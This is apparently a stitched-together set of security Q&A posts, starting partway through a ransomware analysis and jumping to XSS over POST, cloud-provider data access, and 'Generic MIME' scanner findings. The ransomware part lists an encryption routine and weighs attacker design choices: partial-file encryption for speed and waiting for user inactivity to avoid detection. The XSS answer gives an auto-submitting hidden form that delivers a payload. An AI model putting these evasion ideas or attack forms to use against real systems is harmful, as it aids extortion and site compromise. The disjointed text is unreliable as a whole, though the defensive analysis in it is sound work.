An asymmetric keypair and symmetric secret key are generated
The file buffer is compressed using the DEFLATE data compression algorithm from the zlib library (which is statically linked against the executable)
After compression the file buffer is encrypted using AES-256-ECB
A header consisting of the public key associated with this file and an encrypted infovector is prepended to the encrypted data
The header-prepended encrypted buffer is written to the temporary file
The temporary file is moved to overwrite the original file using the MoveFileEx API call with the original file getting a new extension (derived from the corehash) appended to it

Further Thoughts & Wrap Up
As discussed above, files are encrypted on the go and usually overwritten by their encrypted version. Now let's analyze this design. In my opinion, one by one encryption and replacement of files is a superior option.

Encrypting files one by one is easy to implement
If the ransomware is stopped midway through operation there's still a chance that some vital files are encrypted and victim is willing to pay
Extra disk space & complex file removal is needed for bulk encryption and then bulk deletion of files

Remaining silent and hidden is one of ransomware's concerns, one other concern is that they have to be fast. They also have to be simple so the executable is as small as possible.
They target unprotected systems, exploit kits used by these malwares target vulnerabilities in applications like Flash, they also make profit from victims that don't have a back up of their data so usually they don't have to deal with hardened and super secured systems. They simply target unprotected not backed up users. They don't have to be bullet proof to be profitable, they just have to be good enough so sometimes they don't have the best implementation possible.

Now in order to deal with performance issues when encrypting large files, one technique I've seen ransomwares using is encrypting only the first n-bytes of the files. This is usually enough to corrupt most of the files and is much faster than encrypting the whole file. Unfortunately I couldn't find the name of the specific ransomware which used this technique at this very moment.

Catching a Ransomware Mid-operation
Refer to What should you do if you catch encryption ransomware mid-operation? for a background, catching a ransomware mid-operation doesn't necessarily allow you to fully stop it or get all your files back.

Ransomwares don't encrypt your whole filesystem, they usually leave executables intact, so the victim has to open up an image, a document or something of that kind to notice there's something wrong.
Even for a computer savvy person who hasn't done some research on ransomwares it may not be clear what's going on, there could be a handful of reasons why a document is corrupted or isn't opening up (Some ransomwares don't change the files' extensions). Adding this to the probability of someone actually noticing that a ransomware is encrypting their files this doesn't seem to be a major concern.

Even if it was a major concern, instead of bulk encryption/deletion, the malware could monitor users activity while staying hidden doing no encryption and once it finds out that the user's inactive/afk it can start the encryption process.


URL vulnerabilities can be avoided if the post method is used? If I have a form that accepts inputs through the GET method, and can be generated vulnerabilities as XSS.

Using the POST method is possible to prevent vulnerabilities that can be generated through URL's?

For example, the following code is vulnerable to XSS, if the url is:

example.com/?nickname=.

<form method="get" action="">
    <input type="text" name="nickname"/>
    <input type="submit" value="Send">
</form>

<?php
  if(isset($_GET['nickname'])){
    $nickname= $_GET['nickname'];
    echo "
Your nickname is $nickname
\n";
  }
?>

Using the post method can completely avoid this vulnerability, or you can continue exploiting?

No, using POST is no defense against XSS at all.

Sure, an attacker cannot simply send you a link that contains the payload, but they can send you a link to a webpage which contains HTML/JavaScript that submits the payload.

Example:

<form method="post" action="http://yourserver.com/yourscript.php" id="myform">
    <input type="hidden" name="[XSS payload]"/>
    <input type="hidden" value="Send">
</form>
<script>
document.getElementById('myform').submit();
</script>

The attacker could also submit the form in a hidden iframe or otherwise hide the attack so that a victim doesn't notice it.

If on the other hand you have CSRF protection for your POST requests - which you should have - exploiting reflected XSS attacks via POST will get more difficult or impossible.

There are very few vulnerability classes which do get less beneficial for attacks if done via POST, Open Redirect would be an example (phishing isn't possible anymore, but CSRF protection that relies on a referer check may still be exploited in some situations).


Could a cloud provider access your data? Would it be possible that an Amazon (for example) sysadmin get into your VM (physically by going in the rack where the server hosts your VM, and virtually) and get your precious source code? and more.

Is there any legal close that make it illegal?

Is there any security internally at Amazon?

Legally they can't, phisically they can.
Its more of a "what do they use that information for" kind of scenario what would give them away if they truly are accessing your data without your consent.
What I mean by this is that you would never know if they are going through your data unless they use it for something else.


Why is " Generic MIME used" a security vulnerability? Some web application security scanners like Skipfish reports vulnerability "Generic MIME used". In my case this vulnerability was reported for resources like http://my_site/fonts/fontawesome-webfont.ttf, for which Content-Type header returned with response was application/octet-stream.

Is it possible to exploit this kind of vulnerability or is it just a false positive?

Strictly speaking it is not a vulnerability but it is a security issue because the visitor's browser (or more accurately, the User Agent) is being given information that could be processed

at a minimum, wrongly.
possibly execute server-supplied code in an unintended context

  Is it possible to exploit this kind of vulnerability?

I don't see how your server would be directly at any technical risk due to this. Your clients (visitors to your site) would be, thus exposing you to other risks such as reputation risk and/or legal risk.